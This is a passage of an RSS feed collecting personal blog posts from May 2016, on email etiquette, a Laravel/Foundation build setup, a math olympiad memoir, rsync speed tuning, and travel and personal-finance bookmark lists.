a lot to do, and you want a sliver of their attention. A long email causes them to skip your email.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You didn’t even try to read that last paragraph, did you?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I sure wouldn’t have. Walls of text are terrible.&lt;/p&gt;

&lt;p&gt;Here’s the same paragraph, but with line breaks and unnecessary words removed:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I had a discussion with a friend a few months ago about “rules for email”, or “best practices for emails between individuals”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;I never thought about my own email etiquette until I started emailing around when I was trying to get a job a few years ago. My email skills (or lack thereof) were EXACTLY what got me to a an interview at a company, or got a “thanks for your inquiry, but no thanks”, or no reply at all.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;My job today at Litmus is a direct result of a short email I sent, but I would have never gotten the job if I’d ignored the following “rules of email”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Good email respects the reader, even if it is entirely devoid of pleasantries and flowery language. A long email causes them to skip your message.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Does that look a little better? Maybe you actually read it, huh?&lt;/p&gt;

&lt;p&gt;Here’s the best list of rules I can think of. Some of this applies more to emailing a peer, some of it fits more for emailing a “Very Important Person”.&lt;/p&gt;

&lt;h3 id="rule-1-be-concise"&gt;Rule 1: Be concise&lt;/h3&gt;

&lt;p&gt;Relentlessly strip away words, sentences, and paragraphs that are not critical. If you can’t decide if it matters or not, it doesn’t matter.&lt;/p&gt;

&lt;h3 id="rule-2-respect-the-time-and-attention-of-the-reader"&gt;Rule 2: Respect the time and attention of the reader.&lt;/h3&gt;

&lt;p&gt;This can be done by:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Doing your research before emailing them&lt;/strong&gt;
. Have a question? Show that you’ve tried to find the answer on your own.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lead with the most important part of the email, provide additional context below.&lt;/strong&gt;
 (This is known as a TL;DR, or “Too Long; Didn’t Read)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Create information hierarchy.&lt;/strong&gt;
 Bold the important parts, assume the rest will be skimmed at best.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Make it easy for them to give a one-word answer, or at most, a one-sentence answer.&lt;/strong&gt;
It’s hard to write a question like this, but it’s putting the burden on the person you’re emailing to do it any other way.&lt;/p&gt;

&lt;p&gt;Here’s an example of a poorly phrased question (Imagine you’re emailing a sponsored athlete, trying to learn how to become sponsored like them.)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hey {athlete}, I’m trying to come up with same ways to get a sponsorship from {company}, and it seems like you’ve figured this out. What would you recommend I do?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;How would you even begin to respond to this question? If I were the athlete, I’d be annoyed that they didn’t just 
&lt;a href="http://lmgtfy.com/?q=how+do+I+become+a+sponsored+athlete%3F+"&gt;google it&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here’s a much better way to ask the same question:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Hi {athlete},&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;I’ve been following you for a while, and have been impressed with how you’ve done {thing1} and {thing2}.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;It looks like your path to sponsorship started with {beginning}, then on your blog 2 years ago {link_to_post}, you said you started sponsorship with {desired company}. I’m working towards a similar arrangement, and have a few options to proceed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Which of the following makes the most sense to you?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;
Focus on growing my social media followers, while tagging the brands I want to get the attention by.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;
 Ignore social media for now, and focus on building relationships within the companies by attending trade shows, writing posts for their blog, etc.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Option 3:&lt;/strong&gt;
 {some third option that you’ve discovered in your quest for a good answer}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Even if none of the options are what the person recommends, he or she will probably say something like “A mix of option 1 and 3, but make sure you do {thing}.”&lt;/p&gt;

&lt;p&gt;When you’ve implemented their advice, you can reach out and tell them what you’ve done. They’ll be thrilled to see that they helped you.&lt;/p&gt;

&lt;h3 id="rule-3-write-short-sentences-and-short-paragraphs"&gt;Rule 3: Write short sentences, and short paragraphs.&lt;/h3&gt;

&lt;p&gt;The enter key is your best friend.&lt;/p&gt;

&lt;p&gt;When is the last time you were reading something, and were annoyed by all the white space?&lt;/p&gt;

&lt;p&gt;Probably never.&lt;/p&gt;

&lt;p&gt;Look, that was a two-word paragraph.&lt;/p&gt;

&lt;p&gt;I’m breaking every. single. rule. of. writing. (At least, according to what I was taught in school.)&lt;/p&gt;

&lt;p&gt;But only the person who bothered reading this far sees this, and you’re probably not annoyed, huh?&lt;/p&gt;

&lt;h3 id="further-reading"&gt;Further reading:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Ramit Sethi, 
&lt;a href="http://www.iwillteachyoutoberich.com/blog/ramits-definitive-guide-to-building-your-network-with-scripts/?utm_referrer=https%3A%2F%2Fwww.google.es%2F"&gt;Natural Networking&lt;/a&gt; article&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://fourhourworkweek.com/2014/10/09/ramit-sethi-on-persuasion-and-turning-a-blog-into-a-multi-million-dollar-business/"&gt;Tim Ferriss/Ramit Sethi podcast&lt;/a&gt;. (The last 20 minutes of the podcast they talk about email etiquette.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://unlessiheardifferently.com/"&gt;Unless I hear differently&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PS I’m aware that I broke many of my own rules in this very write-up. :( &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 06 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2016/05/06/be-a-little-better-at-personal-email/</guid></item><item><title>Setting Up Laravel Elixir with Foundation 6</title><link>https://jasonraimondi.com/posts/setting-up-laravel-with-foundation/</link><description>&lt;p&gt;&lt;img alt="Laravel With Foundation" src="https://jasonraimondi.com/covers/2016-05-05-setting-up-laravel-with-foundation.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://laravel.com/docs/5.2/elixir"&gt;Laravel Elixir&lt;/a&gt; is a wrapper around a traditional Gulp build system that provides a clean, fluent API for defining basic Gulp Tasks. Although Laravel Elixir is branded with Laravel, it is truly a stand alone tool that can be used almost anywhere Gulp can. Laravel Elixir is a really powerful and useful tool and can make build systems that much easier for beginners. Let&amp;rsquo;s see how we can use Zurb&amp;rsquo;s Foundation for Sites 6 with Laravel Elixir so we can have a super minimal, yet powerfully flexible build system and Front End Framework.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Thu, 05 May 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/setting-up-laravel-with-foundation/</guid></item><item><title>Why schedule something that doesn't exist?</title><link>https://josh.works/2016/05/05/3da2b566-310c-49c9-83dc-c000d7372a85/</link><description>&lt;p&gt;The first thing I did when making this post is I set it to be published tomorrow.&lt;/p&gt;

&lt;p&gt;Then, I left the room for a bit. I didn’t have anything to say. Or, I didn’t think I did.&lt;/p&gt;

&lt;p&gt;Yet, all over my computer, and in various list trackers and note-taking apps, I’ve got dozens of ideas to write about stashed away. I’ve got 25 potential posts in various states of done-ness.&lt;/p&gt;

&lt;p&gt;All these words, with little pressure to write, but endless reason to refine a little longer.&lt;/p&gt;

&lt;p&gt;In other words, a perfect recipe for procrastination.&lt;/p&gt;

&lt;p&gt;I miss the habit of the mind of writing. Once I’ve “cleared the deck” of past things I 
have written, I’ve got to come up with new things to write. Which means I need to be cognizant of ideas that pass through my head, and I need to flesh them out to something that can be expressed.&lt;/p&gt;

&lt;p&gt;Heck, I don’t even need to just 
notice ideas, I need to 
have ideas, and then execute on them.&lt;/p&gt;

&lt;p&gt;So, here we are, a little after setting this post to be published, with nothing to say.&lt;/p&gt;

&lt;p&gt;To my pleasant surprise, it seems I may have said something.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 05 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2016/05/05/3da2b566-310c-49c9-83dc-c000d7372a85/</guid></item><item><title>10 books in one summer, how I got in the national team</title><link>http://dimitarsimeonov.com/2016/05/05/10-books-in-one-summer-how-i-got-in-the-national-team</link><description>&lt;p&gt;First of all, disclaimer. I am a math geek. I’ve always enjoyed
solving math problems. I even got compare my “math biceps” with other
math geeks on the International Math Olympiad. But I wasn’t a
wunderkind. I always had better grades than average, but still
mediocre for a long time. This is the story of how I improved from
mediocre to the national team.&lt;/p&gt;

&lt;p&gt;In the spring of ninth grade I qualified to go to the national round
of the Bulgarian Math Olympiad. This round had about a hundred or so
contestants from high schools all over the country.&lt;/p&gt;

&lt;p&gt;My performance was kind of average. I didn’t rank especially high,
even compared to the other nine graders. I wanted to compete for the
National team, the top six, but it I was far from it.&lt;/p&gt;

&lt;p&gt;Four of us from my high school made it to the national round. One of
them, Doby, was in twelfth grade and already on the national team. He
got a gold medal on IMO that July. There was one more twelve grader,
who was on the informatics national team, and won a gold medal
there. Plus me and one of my classmates.&lt;/p&gt;

&lt;p&gt;The four of us hang out together at night, playing card games. We
talked about a variety of topics, from which I don’t remember
anything. What I remember though, is that at some point we asked Doby
can do we need to get on the national team.&lt;/p&gt;

&lt;p&gt;“Read ten math books this summer.”&lt;/p&gt;

&lt;p&gt;I was expecting a much more involved answer. Reading ten books sounded
too simple, though not easy. I hadn’t heard have much other advice on
how to prepare to the top level, and I heeded it. That summer, I went
to the public city library and read several of the mathematics
books. Number theory, geometry, combinatorics, etc. I didn’t know what
books to look for, but they have a corner with mathematic books, some
of them decades old. I started reading whatever was the most
interesting to me.&lt;/p&gt;

&lt;p&gt;I read fewer than 10 books that summer, but I learned a lot. I also
got to solve a bunch of math problems, for fun! This increased my
appetite for problem solving and learning, and I continued practicing
through the fall term. When the winter math competition came, the
problems seemed easy to me. Exhilarated, I solved everything an hour
early. I was super excited to see the results.&lt;/p&gt;

&lt;p&gt;Then I realized I messed up one of the easier problems. I lost almost
all the points for it. I got dishearthened and disappointed of my
rushed approach. Still, when the results came out I got third place
for tenth grade. I was happy. This was the first time I had placed
among the top. That night I got drunk and threw up for the first time
in my life.&lt;/p&gt;

&lt;p&gt;The success gave me confidence, though I still believed that I have a
long way to go until I have a chance to be in the national team. At
the national round, I advanced to the top twelve. Surprising even for
myself, after a few qualifier rounds, I got the last, sixth spot in the
national team. That July, I earned a silver medal at the International
Math Olympiad that July.&lt;/p&gt;

&lt;p&gt;I had momentum.&lt;/p&gt;

&lt;p&gt;The previous summer I had started looking beyond being thought by
others, and decided that I can try to learn anything that I can wrap
my mind around.&lt;/p&gt;

&lt;p&gt;The 10 books I read showed me that I don’t need to wait for others to
tell me what to learn. I could go and find the resources myself. That
there are a lot of awesome opportunities to learn that are already
available. The books were available in the library, but without the
advice I wouldn’t have reached for them on my own.&lt;/p&gt;

&lt;p&gt;This was my edge. I do not have higher IQ than the other students I
often beat at the competitions. I befriended them and admired their
wits and skills. I think we were all lucky enough to have enough IQ to
be able to solve the hard math competition problems. And I believe
that there are plenty others, even smarter, who didn’t even compete at
all.&lt;/p&gt;

&lt;p&gt;Beyond a given IQ, the determining factor for success became the
preparation. I believe that a very large proportion of people could be
great at problem solving, given enough motivation and access to
resources. We can compare the average student today with the best
students hundred years ago. Students hundred years ago had less
resources to prepare from, and had lower math skills.&lt;/p&gt;

&lt;p&gt;I was much luckier than most. I went to math high schools where I got
more math preparation. And I was lucky to get advice which caused me
to seek further knowledge and develop skills on my own. To go beyond
what I was supposed to learn, and discover on my own.&lt;/p&gt;

&lt;p&gt;Reading ten books in the summer of 2004 changed my trajectory and has
positive effect on me even today.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 05 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/05/10-books-in-one-summer-how-i-got-in-the-national-team</guid></item><item><title>Links - May 4th, 2016</title><link>https://faingezicht.com/links/2016/05/04/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 04 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/05/04/links/</guid></item><item><title>When OOO impulse kicks in…</title><link>https://xenodium.com/when-ooo-impulse-kicks-in</link><description>&lt;ul&gt;
&lt;li&gt;You start moving trivial bits of code into classes, with the anticipation that you might use it one day. Stop.&lt;/li&gt;
&lt;li&gt;On naming, semantic clarity trumps brevity. Yup, the verbosity may be worth it.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 03 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/when-ooo-impulse-kicks-in</guid></item><item><title>Speeding Up rsync</title><link>https://smcleod.net/2016/05/speeding-up-rsync/</link><description>&lt;p&gt;The most common way to use rsync is probably as such:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rsync -avr user@&amp;lt;source&amp;gt;:&amp;lt;source_dir&amp;gt; &amp;lt;dest_dir&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Resulting in 30-35MB/s depending on file sizes&lt;/p&gt;
&lt;p&gt;This can be improved by using a more efficient, less secure encryption algorithm, disabling compression
and telling the SSH client to disable some unneeded features that slow things down.&lt;/p&gt;
&lt;p&gt;With the settings below I have achieved 100MB/s (at work between VMs) and over 300MB/s at home between SSD drives.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Tue, 03 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/05/speeding-up-rsync/</guid></item><item><title>Pakistan travel bookmarks</title><link>https://xenodium.com/pakistan-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.phillymag.com/news/2023/04/08/philly-cheesesteaks-lahore-pakistan/"&gt;How Philly Cheesesteaks Became a Big Deal in Lahore, Pakistan&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Karachi.&lt;/li&gt;
&lt;li&gt;Lahore.&lt;/li&gt;
&lt;li&gt;Rabelpindi.&lt;/li&gt;
&lt;li&gt;Shinwari BBQ.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 02 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/pakistan-travel-bookmarks</guid></item><item><title>Money bookmarks</title><link>https://xenodium.com/money-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.thestreet.com/slideshow/13552416/1/10-countries-where-that-social-security-check-will-let-you-retire-in-style.html"&gt;10 Countries Where That Social Security Check Will Let You Retire in Style (TheStreet)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lovemoney.com/guides/75277/tax-relief-return-cut-your-income-tax-capital-gains-tax-inheritance-tax"&gt;20 items to consider for taxes: Income Tax, Council Tax, and Inheritance Tax (lovemoney.com)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.benetworthy.com/worst-financial-advice/"&gt;25 Bloggers Share The Worst Financial Advice They've Ever Received - Be Net Worthy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/7o3o06/25_yo_potentially=_2m_bit_overwhelmed/"&gt;25 y/o. Potentially £2m. Bit overwhelmed. : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://financialpanther.com/9-best-personal-finance-podcasts/"&gt;9 Best New Personal Finance Podcasts - Financial Panther&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/cdjdui/a_guide_to_index_funds/"&gt;A guide to index funds : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://monevator.com/category/investing/passive-investing-investing/"&gt;A guide to passive investing in the UK&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/aq5ss6/a_simple_example_of_contributing_half_your_age_as/"&gt;A Simple Example of Contributing Half Your Age as a Percentage of Salary to a Pension : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://adviserbook.co.uk/"&gt;AdviserBook | Find a regulated financial adviser near you&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/How-Interview-Financial-Advisor-Piaw-ebook/dp/B00GXDT9LY"&gt;Amazon.com: How to Interview a Financial Advisor eBook: Piaw Na: Kindle Store&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/9edd3m/any_critique_against_the_vanguard_ftse_global_all/"&gt;Any critique against the Vanguard FTSE global all cap index? : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fca.org.uk/firms/authorised-recognised-funds"&gt;Authorised and recognised funds (FCA)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bankaccountsavings.co.uk/calculator"&gt;Bank Account Savings: Open up multiple accounts to maximise your savings&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://benefits-calculator.turn2us.org.uk/AboutYou"&gt;Benefit Calculator - About You - Turn2us&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vanguard.com/pdf/icrpr.pdf"&gt;Best practices for portfolio rebalancing (Vanguard research July 2010)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vanguard.com/pdf/ISGPORE.pdf"&gt;Best practices for portfolio rebalancing (Vanguard)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bogleheads.org/wiki/Bogleheads%C2%AE_investment_philosophy"&gt;Bogleheads® investment philosophy - Bogleheads&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://transferwise.com/us/borderless/pricing"&gt;Borderless account pricing: What are the fees? - TransferWise&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.totallymoney.com/buy-to-let-yield-map/"&gt;Buy-to-Let Rental Yield Map 2019 - TotallyMoney&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.financial-hacker.com/bye-yahoo-and-thank-you-for-the-fish/"&gt;Bye Yahoo, and thanks for all the fish (The Financial Hacker) - See comments for alternatives&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://canadiancouchpotato.com/2015/07/13/calculating-your-portfolios-rate-of-return/"&gt;Calculating Your Portfolio’s Rate of Return&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/9exrhv/can_i_open_a_lisa_and_a_private_pension_vanguard/"&gt;Can I open a LISA and a Private Pension (Vanguard LifeStrategy)?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.expertsforexpats.com/expat-tax/capital-gains-tax-for-british-expats"&gt;Capital Gains Tax for Expats - Experts for Expats&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cfiresim.com/"&gt;cFIREsim&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/gsvt3r/cheapest_way_to_pay_for_a_yearly_usd_subscription/"&gt;Cheapest way to pay for a yearly USD subscription in the UK : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gov.uk/check-if-you-need-tax-return"&gt;Check if you need to send a Self Assessment tax return - GOV.UK&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gov.uk/guidance/check-the-recognised-overseas-pension-schemes-notification-list"&gt;Check the recognised overseas pension schemes notification list - GOV.UK&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.choosefi.com"&gt;ChooseFI (Join the Financial Independence Movement)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.citizensadvice.org.uk/"&gt;Citizens Advice&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.codementor.io/"&gt;Codementor (Get live 1:1 coding help, hire a developer, &amp;amp; more)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.coursera.org/learn/financial-markets-global/reviews"&gt;Coursera (Online Courses From Top Universities. Join for Free)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cfiresim.com/"&gt;Crowdsourced Financial Independence and Early Retirement Simulator/Calculator&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qr.ae/TUK1OD"&gt;Crystal's Quora answer to becoming a millionaire (full sensible/conservative advice) &lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17930318"&gt;Don't Steal Money from Day Traders Before They Lose It (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/ericajoy/status/1057774364181987328?s=12"&gt;EricaJoy on Twitter: what is the process for finding a financial advisor/accountant/etc&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.justetf.com/de-en/"&gt;ETF portfolios made simple (justETF)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bogleheads.org/wiki/EU_investing"&gt;EU investing - Bogleheads&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ft.com/content/c6183f2f-f58a-3569-a6ac-9d2b44adfe28"&gt;European active managers beaten by passives, 10-year study finds (Financial Times)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://app.fin-dee.com/"&gt;Fin-dee (FIRE calculator)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.khanacademy.org/economics-finance-domain/core-finance"&gt;Finance and capital markets | Economics and finance | Khan Academy&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/9viifz/financial_education_book_for_teenagers_by_martin/"&gt;Financial education book for teenagers by Martin Lewis : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.madfientist.com/podcast"&gt;Financial Independence Podcast&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/FIREUK/"&gt;Financial Independence Retiring Early UK (r/fireuk)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/EuropeFIRE"&gt;Financial independence/retire early in Europe (reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.financialsamurai.com/wp-content/uploads/2018/08/reasons-to-sell.jpg"&gt;Financial Samurai png (typical reasons to sell assets in short term = bad idea long term)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.thepfs.org/yourmoney/find-an-adviser/"&gt;Find an Adviser&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vouchedfor.co.uk/"&gt;Find Top-Rated Financial Advisers, Mortgage Advisers, Solicitors and Accountants&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://firecalc.com/"&gt;FIRECalc: A different kind of retirement calculator&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneymarketing.co.uk/fund-charting-2/"&gt;Fund Charting – top-performing funds&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.economist.com/finance-and-economics/2017/06/24/fund-managers-rarely-outperform-the-market-for-long"&gt;Fund managers rarely outperform the market for long - Buttonwood #passive-over-active&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/9n0636/investing_global_=all_cap_vs_small_cap_first_time/"&gt;Global All Cap VS Small Cap - first time 24 Male : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/wiki/globaltracker"&gt;globaltracker - UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/Bogleheads/comments/gvxawv/how_do_i_take_a_wage_from_my_vanguard/"&gt;How do I take a wage from my vanguard lifestrategy fund&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.quora.com/How-does-AQR-Capital-compare-with-Two-Sigma"&gt;How does AQR Capital compare with Two Sigma? - Quora&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://smartersquirrel.com/how-i-built-a-six-figure-passive-income-by-age-47"&gt;How I built a six figure passive income by age 47&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://urbanplanned.wordpress.com/2018/08/05/how-i-paid-off-5000-of-consumer-debt-in-5-months/"&gt;How I paid off £5000 of consumer debt in 5 months – URBANPLANNED&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/elr5qp/how_much_more_expensive_do_kids_get_as_they_get/"&gt;How much more expensive do kids get as they get older? : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://adamfayed.com/2018/06/26/howtobecomerichbyinvesting/"&gt;How to become rich by investing: rational Investing Based on Evidence vs Speculation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/cvfkr3/how_to_buy_your_first_house_for_dummies/"&gt;How to buy your first house for dummies : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://moneytothemasses.com/tax/income-tax-2/reader-question-whats-the-easiest-way-to-work-out-how-much-my-bonus-will-be-taxed"&gt;How to work out what the tax will be on my bonus?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ukpersonal.finance/windfall/"&gt;I have £x, what should I do with with it? - UKPersonalFinance Wiki&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/aickhc/iama_24yo_selling_my_company_for_500000_need/"&gt;IAMA 24yo selling my company for £500,000 - need serious advice. : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/tax-calculator/"&gt;Income tax calculator: Find out your take-home pay&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ukpersonal.finance/index-funds/"&gt;Index Funds - UKPersonalFinance Wiki&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fool.co.uk/investing-basics/isas-and-investment-funds/index-trackers-vs-managed-funds/"&gt;Index Trackers vs. Managed Funds | The Motley Fool UK #passive-over-active&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cashflowcop.com/invaluable-books/"&gt;Invaluable Books - Cashflow Cop&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ukpersonal.finance/investing-101/"&gt;Investing 101 - UKPersonalFinance Wiki&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch"&gt;Investing in gold&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/investment-beginners/"&gt;Investment for beginners&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/f377un/investment_jargon_putting_me_off/"&gt;Investment Jargon Putting Me Off : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/UKPersonalFinance/comments/9oz32t/is_btl_still_worth_it/"&gt;Is BTL still worth it? : UKPersonalFinance&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.moneysavingexpert.com/savings/ISA-guide-savings-without-tax/"&gt;ISA allowance: ISA limits &amp;amp; rules - MoneySavingExpert&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jlcollinsnh.com/"&gt;jlcollinsnh&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=WsWLPhVvPaQ"&gt;Killik Explains: A short guide to personal pensions (SIPPs) - YouTube&lt;/a&gt;.&lt;/li&gt;
